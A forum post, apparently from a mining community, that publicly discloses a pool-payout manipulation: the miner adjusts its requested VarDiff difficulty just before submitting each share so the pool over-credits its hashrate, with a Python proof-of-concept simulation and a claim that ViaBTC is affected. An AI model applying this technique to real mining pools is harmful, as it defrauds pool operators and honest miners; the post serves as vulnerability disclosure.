Hello guys,
I don't post here much... but I had to this time because it is important:
Context:
I've contacted a couple pools regarding a flaw in the STRATUM protocol...
(well not really a flaw in the STRATUM but a logic technique that allows an attacker to increase the calculated hashrate at Pool)
Since the pools did NOT act on fixing the problem, I'm just turning on the Fan so everyone can smell it:
Intro:
We all (should) know that the difficulty we get from each share is random, but predictable.
E.g. we hash 1000 hashes in 1 second we get 1 share per second with the corresponding difficulty to be calculated by the pool as 1000H/s ... this is the norm!
Problem:
(now straight to the point!)
I found out that if you have a pool with VarDiff, specially with Miner configurable VarDiff, you are able to get paid MORE by asking the pool to increase the difficulty BEFORE you submit the current share!
Example:
Say the miner is mining at a min Diff of 32, and the pool is paying for 32 Diff shares, but you found a 64+ diff share...
If you ASK the pool to increase the difficulty to 64, and then send the share... you'll get paid for a 64 diff share!
(so far so good?)
Now let's do some Magic:
say you find a 32 diff share again.............. you can ask the pool to LOWER the difficulty back to 32!
Let's now do some MATH:
(i'll skip the WHYs, just do the calculation yourselves)
The number of 64 diff shares will be half the number of 32 diff shares...
say 1x 64 and 2x 32 at a given time interval
If you just mine at a certain difficulty of say 32... you'll send 3 shares as in the above example.... and you'll get paid for 3x 32 diff shares! RIGHT?
BUT, if you ask the pool to change the diff to 64, each time you find a 64 diff share, you'll be payed for 2x 32 Diff share and 1x 64 Diff share!
(now you think: "OK, this guy might be on to something here............")
I've actually made a PoC on this and I have a working Proxy for this strategy!
Here's the Python3 code for the PoC:
import time
import hashlib
import random
max_diff = 256 # define a max difficulty for the shares (this prevents higher than block difficulty and/or absurd difficulty)
pool_start_diff = 32 # define a starting point for the pool
class PoolSimulator:
def __init__(self):
self.miners = {} # new miners are added here
self.difficulty = pool_start_diff # Starting difficulty for all miners
self.time = time.time() # reference time
self.hashrate = 0 # pool starting hashrate
def register_miner(self, miner_id):
self.miners[miner_id] = {
'difficulty': self.difficulty, # current miner difficulty (used to calculate each update to the hashrate below)
'submitted_shares': [], # list of Shares already submitted to the pool
'hashrate': 0 # calculated hashrate for THIS miner
}
def set_difficulty(self, miner_id, new_difficulty):
self.miners[miner_id]['difficulty'] = new_difficulty # set new difficulty by miner
print(f"Miner {miner_id} difficulty set to {new_difficulty}") # display the new difficulty
def submit_share(self, miner_id, nonce):
miner = self.miners[miner_id] # get the current miner
current_difficulty = miner['difficulty'] # get the current difficulty from that miner
target = (2 ** 256) // current_difficulty # get the current target from that difficulty
# Validate share
nonce_str = f"{miner_id}-{nonce}" # prepare data as a STRING to be hashed
hash_value = int(hashlib.sha256(nonce_str.encode()).hexdigest(), 16) # actually hash the data
if hash_value < target: # check if the date is valid under the current difficulty
miner['submitted_shares'].append({'nonce': nonce, 'difficulty': current_difficulty}) # add share to list o valid past shares
print(f"Valid share from miner {miner_id} at difficulty {current_difficulty}") # print that
return True # I was thinking of using this , but I skipped it...
else:
print(f"Invalid share from miner {miner_id}") # report if invalid
return False # again... not really needed
def calc_hashrate(self):
elapsed_time = time.time() - self.time # total time from the start
hashrates = 0 # pool total hashrate init at 0 (ended up not really using the full potential of this... figured... i already prove my point wit one miner)
for miner in self.miners:
hashrate = 0 # individual miner hashrate init at 0
for share in self.miners[miner]['submitted_shares']:
hashrate += share['difficulty'] / elapsed_time # each share has it's dificulty, by dividing by total time, we get the portion of Hashrate that share tells the pool the miner has in total
self.miners[miner]['hashrate'] = hashrate # after we get the total hashrate from adding all shares (based on their difficulty) we set the miner's current Hashrate
hashrates += hashrate # pool hashrate is the sum of all individual hashrates, so we add them together
self.hashrate = hashrates # finaly we set the current pool hashrate... (BASED on calculated hashrate from each miner share... NOT real hashrate)
def print_hashrate(self):
print(f"Pool Calculated Hashrate: {self.hashrate}") # this is the pool's total calculated hashrate!
# Miner behavior simulation
class MinerSimulator:
def __init__(self, miner_id, pool, hashrate):
self.miner_id = miner_id # set the miner ID
self.pool = pool # set the pool for this miner
self.hashrate = hashrate # Hashes per second
def mine(self):
# Simulate mining with constant hashrate (by throtteling with time.sleep(...) )
nonce = (random.random()*1000000)//1000000 # ugly, I know..... but efective in this PoC: Generate a new nonce
while True:
nonce_str = f"{self.miner_id}-{nonce}" # prepare data as a STRING to be hashed
hash_value = int(hashlib.sha256(nonce_str.encode()).hexdigest(), 16) # actually hash the data
# Check if share is valid against current pool difficulty
target = (2 ** 256) // self.pool.miners[self.miner_id]['difficulty'] # get the current target from pool
pool_diff = (2 ** 256) // target # get pool diff from that target
share_diff = (2 ** 256) // hash_value # get the current share difficulty
if share_diff > pool_start_diff: # check to see if pool will accept at all...
if share_diff < max_diff: # check to see if share is under the maximum
new_diff = share_diff # if it is, use it's difficult
else: # if not,
new_diff = max_diff # use the max we defined at the start...
print(f"\nNew SHARE found by miner: {self.miner_id}") # report this share to the console
pool.set_difficulty(self.miner_id, new_diff) # ask the pool to change the difficulty... (we should WAIT for the response) [if you COMMENT this line of code, the pool should always report the correct hashrate]{THIS IS THE MAGIC LINE}
pool.submit_share(self.miner_id, nonce) # send the share after the response from previous line
pool.calc_hashrate() # update the Poolside Hashrate.... (again, NOT the REAL hashrate but the one the pool will think it has)
print(f"Share Diff: {share_diff}") # report the diff from this found share
print(f"Real Miner Hashrate: {self.hashrate}") # report the REAL hashrate from this miner (This is the REAL reate this miner should be finding accounted at the pool, but it's NOT)
print(f"Pool Miner Hashrate: {pool.miners[self.miner_id]['hashrate']}") # report what the pool calculates from this miner!
pool.print_hashrate() # report total pool hashrate..........i know this could be done in a different, more elegant way... but it works, so I didn't bother
nonce += 1 # increase the nonce
time.sleep(1 / self.hashrate) # throttle the miner to the desired hashrate
# RUN
pool = PoolSimulator()
pool.register_miner("Miner0")
miner0 = MinerSimulator("Miner0", pool, hashrate=32) # here you shoose the REAL hashrate from the miner, and then my code does it's magic! Enjoy!
miner0.mine()
# miner1 = MinerSimulator("Miner1", pool, hashrate=32)
# miner1.mine()
This works on Pools like ViaBTC, if you suggest the difficulty via LOGIN method each time you find a Share!
(SO PLEASE FIX THIS VIABTC, like I told you, thank you)
Take Care guys